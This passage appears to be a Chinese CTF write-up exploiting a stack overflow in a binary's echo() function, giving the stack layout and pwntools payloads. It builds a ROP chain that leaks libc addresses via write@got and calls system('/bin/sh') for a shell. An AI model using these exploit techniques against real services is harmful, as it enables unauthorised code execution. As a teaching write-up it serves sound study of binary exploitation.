buf的空间大小为0x400,read()的读入长度也为0x400。进入echo()函数继续查找。
字符串s2长度为0x10,内容从buf进行拷贝,当遇到\x00时特,停止拷贝。栈布局如下
| size | data | 
| 0x10 | s2 | 
| 0x08 | saved ebp | 
| 0x08 | return address | 
| 0x400 | buf | 
构造如下payload:
| 1
 | payload = 'a' * 24 + return_addr
 | 
由于字符串复制遇\x00终止,因此最多只能传入一个地址。但由于返回地址之后就是我们所输入的buf,所以需要利用buf进行控制。buf的前32字节为上述payload,因此需要利用gadget从栈中移除32字节,使用pop四次返回即可,随后便进入预先设计好的控制流中。由于原先的返回地址非\x00长度与pop4_addr相同,因此可以成功写入。leak函数设计如下:
| 12
 3
 4
 5
 6
 7
 8
 9
 10
 
 | def leak(addr):payload = 'a' * 24 + p64(pop4_addr)
 payload += p64(pop6_addr) + p64(0) + p64(1) + p64(write_got) + p64(8) + p64(addr) + p64(1)
 payload += p64(call_addr) + 'a' * 56
 payload += p64(start_addr)
 payload = payload.ljust(0x400, 'a')
 p.send(payload)
 data = p.recv(8)
 p.recv(0x400)
 return data
 
 | 
获取system地址后:
| 12
 3
 4
 5
 6
 7
 8
 
 | payload = 'a' * 24 + p64(pop4_addr)payload += p64(pop6_addr) + p64(0) + p64(1) + p64(read_got) + p64(8) + p64(bss_addr) + p64(0)
 payload += p64(call_addr) + 'a' * 56
 payload += p64(poprdi_addr) + p64(bss_addr) + p64(system_addr)
 payload = payload.ljust(0x400, 'a')
 p.send(payload)
 p.send('/bin/sh\x00')
 p.interactive()
 
 | 
参考文章和bin下载:https://www.anquanke.com/post/id/85129